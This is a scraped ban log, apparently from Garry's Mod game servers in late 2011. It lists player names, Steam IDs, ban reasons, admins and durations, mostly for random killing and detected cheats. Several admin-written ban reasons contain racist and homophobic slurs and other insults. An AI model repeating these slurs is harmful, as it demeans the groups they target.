Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:5:0 Unbanned +6:46 pm 07-11-11 Teribletwinz STEAM_0:1:17119398 rdm * 6 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +12:13 pm 06-11-11 josef.gajdos STEAM_0:0:40857951 For your low karma +and constant rdm you are hearby banned +[SP]+ Mr Dobilina +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:56 pm 05-11-11 Unknown STEAM_0:0:13447333 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +8:42 pm 05-11-11 Unknown STEAM_0:0:26505662 RDM + Leaving Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 14:0:40 Unbanned +8:24 pm 05-11-11 The Enola Gay STEAM_0:0:30174673 Prop killing ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:20 Unbanned +8:01 pm 05-11-11 ^2saint STEAM_0:1:44406675 troll Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +7:46 pm 05-11-11 daedalus M1a1 STEAM_0:1:32161436 Propkilling with +warning Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +7:22 pm 05-11-11 Unknown STEAM_0:0:22068730 RDM Chizuru +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 Unbanned +7:14 pm 05-11-11 {A.S.C} Grafik Error LDR STEAM_0:1:24741198 Base +Delete +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 2:12:0 Unbanned +6:44 pm 05-11-11 connorboii STEAM_0:1:34108825 Teamkilling Traitors ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:11 pm 05-11-11 Unknown STEAM_0:0:18994694 Proppushing +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +2:57 pm 05-11-11 â? Dragon Slayer â? STEAM_0:1:37698593 idiot +Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 Unbanned +1:29 pm 05-11-11 Unknown STEAM_0:1:22043872 RDM + retard +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:41 pm 04-11-11 Deathcharge STEAM_0:1:34086223 RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +8:28 pm 04-11-11 killerpanda STEAM_0:0:35948101 Base deletion during +faction war +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +7:56 pm 04-11-11 Unknown STEAM_0:1:36498545 RDM +[SP]+ Marked One +[SK] Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +5:20 pm 04-11-11 L!key STEAM_0:1:30573475 RDM and didn ' t respond. ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:21 pm 03-11-11 ^2[RANGER]^5R4SOK^4Cake^8RaVE! STEAM_0:1:26966820 +RDM +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:3:0 Unbanned +8:21 pm 03-11-11 Alejandro STEAM_0:0:34662676 Teamkilling Traitor ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:20 Unbanned +8:05 pm 03-11-11 Marcus Hansen STEAM_0:0:25326536 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +6:45 pm 03-11-11 Trollie STEAM_0:1:8475562 RDM/Goombastomping +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +6:12 pm 03-11-11 Trollie STEAM_0:1:8475562 Continious shitposting on +the forums +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:5 Unbanned +5:34 pm 03-11-11 Unknown STEAM_0:1:19812177 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:0:29239364 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:0:19038701 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:21605065 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:26344770 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:38812224 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:29 pm 03-11-11 |G4G| DksKnight {Dks} STEAM_0:0:32982037 Cheat: +CubHack (Console) Killa's Zombie Survival Server Zombie Survival +Permanent Banned +5:07 pm 03-11-11 gÃ¥ væk .:DK:. STEAM_0:1:22832114 Alt of banned ID +STEAM_0:1:32425210 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:5 Unbanned +1:26 pm 03-11-11 Doctor Sunny Sparkle STEAM_0:1:30471608 RDM - +Because Swag +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:13 pm 03-11-11 :D lol :D STEAM_0:1:32425210 RDMing. Gah! +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:37 pm 03-11-11 GerMany-PrOtoTYP STEAM_0:1:43027554 Tried to RDM +but failed miserably. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +7:31 pm 02-11-11 [DC] Xenonmorth ()[]_)/):D STEAM_0:0:26973706 Basing +offmap +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 2:12:0 Unbanned +5:14 pm 02-11-11 Monster STEAM_0:0:30611686 claiming to know +owner,base spawning people,asshole +[SP]+ Anime Official Zombified +World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +2:00 pm 02-11-11 Unknown STEAM_0:0:25914952 I'm gun UDP flood +you!!!oneoneone (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:57 am 02-11-11 Unknown STEAM_0:1:20197561 Base deleting during +war Nekoace Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +10:04 pm 01-11-11 cOOckie Monster [gmod.biz] STEAM_0:0:9184559 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:42 pm 01-11-11 Unknown STEAM_0:0:25155785 rdm Nekoace +Fretta|Tigergruppe Kommand GunGame 2:2:0 Unbanned +3:09 am 01-11-11 xXGr4veSl4yerXx STEAM_0:1:32178703 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +3:09 am 01-11-11 É É§Ï?Å?ŧâ?¢(-Î?Å?Å?ТÎ?ᶠ� +STEAM_0:1:30862688 rdm <[FoT]> .ExEcute Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:2:0 Unbanned +9:17 pm 31-10-11 Msieur chat STEAM_0:1:12466191 Cheat: Speedhack +Wigbig Killa's Zombie Survival Server Zombie Survival 694:10:39 Banned +6:30 pm 31-10-11 Z_DawgCW STEAM_0:1:45538973 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +4:40 pm 31-10-11 Miss Rarity STEAM_0:0:23235859 Randomly attacking +and ignoring admin COUNTLESS of times. +[SP]+ ULTRA Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +11:50 pm 30-10-11 macd1102 STEAM_0:1:32218025 RDM constantly +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:38 pm 30-10-11 â?¦[BB]â?¦ Brosef STEAM_0:1:30162895 Proppushing and +dicking +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +8:27 pm 30-10-11 Unknown STEAM_0:0:12698447 Ghosting, ignoring me, +leaving Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +4:25 pm 30-10-11 Unknown STEAM_0:0:18395000 Teamkilling as T +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:24 pm 30-10-11 [HG] TheScorpYoN STEAM_0:0:18395000 Teamkilling 2 +Traitors +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:20 Unbanned +12:22 pm 30-10-11 Unknown STEAM_0:1:19154921 RDM and leaving +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +12:20 pm 30-10-11 [TBR] Holli3 STEAM_0:1:17396989 Idiot +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:04 pm 30-10-11 CrosS STEAM_0:1:22682644 Dicking around and causing +other peoples' death +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +1:59 am 30-10-11 GreedyGoat1337â?¢ STEAM_0:0:26567268 Cheat: +TrooperHack (Console) Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +1:09 am 30-10-11 Stealth STEAM_0:0:17486334 Alt of banned ID +STEAM_0:1:18704943 - Unbanned (Console) Official Zombified World|Lvl +Cap +10 Zombified World 0:1:18 Unbanned +12:49 am 30-10-11 Unknown STEAM_0:1:30473979 Cheat: Ares/lol/kon +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:48 am 30-10-11 Unknown STEAM_0:0:28183970 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:48 am 30-10-11 Unknown STEAM_0:0:20743276 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:47 am 30-10-11 Unknown STEAM_0:1:421861172 Cheat: Speedhack +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:30470607 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:18704943 Cheat: Code +injection(unbanned) (Console) Fretta|Tigergruppe Kommand Prop Hunt +0:1:41 Unbanned +12:46 am 30-10-11 Unknown STEAM_0:0:30256551 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:33289438 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:32 am 30-10-11 killer mellon <(O)>___<(O)> STEAM_0:0:33723746 +Breaking tonnes of rules, pls read them and also I am pretty sure you +are aware of all these rules. +[SP]+ ULTRA Official Zombified +World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 pm 29-10-11 SayNay STEAM_0:1:14429876 Mega-idiot RDMer, twat +that fails at lying. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +3:21 pm 29-10-11 Mikaydee STEAM_0:0:19874570 Can't make up his mind: +RDM. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:5:0 Unbanned +2:20 pm 29-10-11 Nicky STEAM_0:0:29007231 RDM during TTT - has +apologised. Warning issues. +[SP]+ Nemesis Fretta|Tigergruppe +Kommand Deathrun 0:2:0 Unbanned +2:00 pm 29-10-11 Technokenisis STEAM_0:0:27789630 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +12:54 pm 29-10-11 Unknown STEAM_0:0:36613827 Multiple RDM + +disconnect occasions. ( 600 Karma ) +[SP]+ Nemesis Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:01 am 29-10-11 salam STEAM_0:0:24652956 RDMing, Whining +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:20 Unbanned +3:44 am 29-10-11 +[SP]+ BurritoBazooka STEAM_0:1:30535121 Test ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +3:40 am 29-10-11 Unknown STEAM_0:1:41737036 RDM, Leaving, Paranoid +Bastard and Not listening to admin +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 Unbanned +11:49 pm 28-10-11 [AP]Phexor STEAM_0:1:41792560 Permanently banned, +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:48 pm 28-10-11 Yashmon STEAM_0:0:14696634 Cheat: Code injection ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:0:0 Unbanned +10:12 pm 28-10-11 G.B. Hindert STEAM_0:0:17086047 RDM then leave. ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:34 pm 28-10-11 FraGzz STEAM_0:1:45361068 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:11 pm 28-10-11 Unknown STEAM_0:0:30440286 RDM and left... +AGAIN... MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:0:0 Unbanned +5:05 pm 28-10-11 §* SMAIL°oÒ?Ò?lιNÐ?*§ STEAM_0:1:27050961 RDM ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:08 pm 28-10-11 Unknown STEAM_0:1:19791718 Trying to get me(admin) +banned, lying, randomly killing me, rage-leaving with an idiotic +reason +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:51 am 28-10-11 Buckchoyyyyyyyyyyyyyyyyyyyyyyyy STEAM_0:0:6069271 +dumb nigger MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:23 am 28-10-11 Jay` STEAM_0:1:31810238 no i'm the real mad mann now +dont rdm next time MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +11:01 pm 27-10-11 Dutchy STEAM_0:0:33781737 RDM - Spamming Prick ( +During TTT ) +[SP]+ Nemesis Fretta|Tigergruppe Kommand Prop Hunt +30:0:0 Unbanned +8:37 pm 27-10-11 Unknown STEAM_0:1:9370258 Might change to this, +maybe, letting it stay atm +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 14:0:0 Unbanned +8:36 pm 27-10-11 nyan cat (barxbar) STEAM_0:1:9370258 'Bored' +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:42 pm 27-10-11 Unknown STEAM_0:1:33085260 RDM +[SP]+ Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:21 am 27-10-11 Unknown STEAM_0:1:96304 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Ultimate Chimera Hunt 1:0:0 Unbanned +9:57 pm 26-10-11 Unknown STEAM_0:0:24788990 Randomly flaming people + +telling Company of Heroes pro to shut up(+admin) +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Prop Hunt 0:12:0 Unbanned +8:52 pm 26-10-11 Unknown STEAM_0:0:42872753 Trolling, namestealing, +Mass RDM and leaving Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:19 pm 26-10-11 MarviinR STEAM_0:1:40250551 retard Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:06 pm 25-10-11 BURNT FACE MAN STEAM_0:1:24650349 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:36 pm 25-10-11 Unknown STEAM_0:0:24203006 RDM and disconnected ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:37 pm 25-10-11 [DC] Xenonmorth My 5000 hour no STEAM_0:0:26973706 +idiot Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 +Unbanned +6:19 pm 25-10-11 mcOmc STEAM_0:1:29078141 derp Nekoace Killa's +Zombie Survival Server Zombie Survival 1:9:20 Unbanned +3:45 pm 25-10-11 ^0..::Raptor::..^1K3nny STEAM_0:1:33447314 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:45 pm 25-10-11 ^0..::Raptor::..^1Cyrius virus STEAM_0:1:2304598 +rdm Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:45 pm 25-10-11 Rollie STEAM_0:1:8475562 rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:46 pm 25-10-11 Unknown STEAM_0:0:37586778 RDM Ban request Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +12:22 am 25-10-11 macd1102 STEAM_0:1:32218025 RDM +[SP]+ Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:07 am 25-10-11 JÐ?MϵÍ?S STEAM_0:0:31219365 Trolling is an art. ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Deathrun 0:0:30 Unbanned +3:26 pm 24-10-11 Mai Haruhi STEAM_0:1:19791718 treason +[SP]+ CCD +Fretta|Tigergruppe Kommand Zombie Onslaught 0:7:30 Unbanned +2:49 pm 24-10-11 O' Danny Boy STEAM_0:1:40229947 RDM# +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:22 pm 24-10-11 Unknown STEAM_0:0:44519498 RDM Then Left. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +1:19 am 24-10-11 LookB4UC* STEAM_0:1:19559564 Alt of banned ID +STEAM_0:0:14581192 (Console) Killa's Zombie Survival Server Zombie +Survival 0:1:30 Unbanned +10:26 pm 23-10-11 Flapadar STEAM_0:0:10839552 test Cutie +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +7:17 pm 23-10-11 DreamH4ck3R-.^ STEAM_0:1:24031774 Shut the fuck up ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Prop Hunt 1:16:40 Unbanned +5:25 pm 23-10-11 homerboy12345 STEAM_0:0:26798725 RDM, not +answering Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +4:04 pm 23-10-11 Unknown STEAM_0:0:33459537 Cheat: Code +injection(SQLite) (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:02 pm 23-10-11 Unknown STEAM_0:1:17267267 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:02 pm 23-10-11 Unknown STEAM_0:0:33459537 Cheat: rc/rf (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:57 pm 23-10-11 paciu98 STEAM_0:0:23669277 Retard (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:44059222 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:7382018 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:44810352 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:26676964 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:24988955 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:14922341 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:24974888 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:36180396 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:30107073 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:43988463 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:56 pm 23-10-11 Assassinating Cat - <3 Oreos STEAM_0:0:26571541 RDM +- Massive twat +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 30:0:0 Unbanned +1:16 pm 23-10-11 FANTOM STEAM_0:0:36473009 Cheat: Speedhack Wigbig +Killa's Zombie Survival Server Zombie Survival 2:2:0 Unbanned +1:15 pm 23-10-11 Sneaky Elephant STEAM_0:1:29945337 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:38 am 23-10-11 [LCS] Source Shift [ASD KING] STEAM_0:1:34725530 +RDMing fellow traitors. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:2:0 Unbanned +2:52 am 23-10-11 Mitch88ell STEAM_0:1:22396842 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:50 am 23-10-11 Cheesefake Caketory STEAM_0:0:14581192 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:46 am 23-10-11 Unknown STEAM_0:1:41997634 FUCK YOU BAN SYSTEM MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +2:39 am 23-10-11 24.Pz.Pion.Meyer STEAM_0:0:12698447 RDM Learn to +play. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:15 am 23-10-11 Unknown STEAM_0:0:5111663 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:32 pm 22-10-11 MAD MANN STEAM_0:1:17237739 Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +9:30 pm 22-10-11 Unknown STEAM_0:1:29603475 faggot Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +2:49 am 22-10-11 Unknown STEAM_0:0:8403669 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:49 am 22-10-11 Stool STEAM_0:0:8403669 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:41 pm 21-10-11 Unknown STEAM_0:0:28363046 RDM, leaving - Reduced +by flap Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 117:19:25 Unbanned +9:17 pm 21-10-11 Kakao NAMNAM``:D DK! STEAM_0:0:40546648 RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +5:03 pm 21-10-11 Jake STEAM_0:0:15009263 Congratulations! You are +todays winner. Your prize is a 2 week ban!! Don't spend it all at +once. (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 14:0:0 Unbanned +1:46 am 21-10-11 Unknown STEAM_0:0:37572022 random KOS ' ing then +leave +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +10:40 pm 20-10-11 mgs STEAM_0:1:43634105 Various broken rules. ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 0:4:0 Unbanned +7:41 pm 20-10-11 Unknown STEAM_0:1:26198367 RDM + disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:49 pm 20-10-11 Unknown STEAM_0:0:30440286 RDM + disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:05 pm 20-10-11 Unknown STEAM_0:0:40979860 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 100:0:0 Unbanned +4:14 pm 20-10-11 lehel.markon STEAM_0:1:44698696 RDM and baiting +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:07 am 20-10-11 Unknown STEAM_0:0:38108535 RDM then leaving. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand One In The Chamber 1:0:0 Unbanned +8:31 pm 19-10-11 Mr. Smart Ash STEAM_0:0:37791313 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:19 pm 19-10-11 Unknown STEAM_0:0:26827370 Mass RDM,Troll,Mic +spam,Asshole +[SP]+ Anime Fretta|Tigergruppe Kommand Rebels vs. +Combine Permanent Banned +3:58 pm 19-10-11 Unknown STEAM_0:0:5123570 RDM as D then left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:59 pm 19-10-11 Unknown STEAM_0:1:22364139 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:14 am 19-10-11 Unknown STEAM_0:0:39711441 Baseing out of map ++[SP]+ Anime Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +6:13 pm 18-10-11 Unknown STEAM_0:1:14974814 RDM then leaving +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +12:48 am 18-10-11 Unknown STEAM_0:1:13717323 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +12:39 am 18-10-11 Unknown STEAM_0:1:23629652 Admin Impersonation ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +17:8:40 Unbanned +9:32 pm 17-10-11 Professional Russian STEAM_0:1:30808715 Several +RDMs Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +9:10 pm 17-10-11 Ronnie STEAM_0:1:6017921 Enjoy your comedic ban. +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:40 pm 17-10-11 â?¾Ï?â?½MrMonkeÆ´â?¢ STEAM_0:1:39312723 +[SP]+ +Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:21 pm 17-10-11 rex123303 STEAM_0:1:35831454 Killing fellow +traitor. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +1:54 am 17-10-11 The Grungy Gremlin STEAM_0:0:30541421 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:15 am 17-10-11 Ox3n . x STEAM_0:1:19200239 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:49 pm 16-10-11 Unknown STEAM_0:0:15409240 RDM and general idiot ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +10:43 pm 16-10-11 Black Goat Fucker STEAM_0:1:18914322 RDM and +general idiot +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +9:38 pm 16-10-11 Unknown STEAM_0:0:37493403 RDM and left. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:50 pm 16-10-11 Blu SpyypS STEAM_0:1:16645930 shut up Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:50 pm 16-10-11 :, -Shiro- ,: STEAM_0:0:28716385 rdm Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:46 pm 16-10-11 _-=CHING=-_ STEAM_0:0:23836111 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +3:15 pm 16-10-11 DZEJSON STEAM_0:0:23669277 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:24 pm 16-10-11 LR | Fearsome Bart STEAM_0:1:26340330 If you want +unbanned, explain yourself Flapadar Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +2:19 pm 16-10-11 Augustus Cole STEAM_0:0:32868618 Perma banned +Cutie Fretta|Tigergruppe Kommand One In The Chamber Permanent Banned +12:34 pm 16-10-11 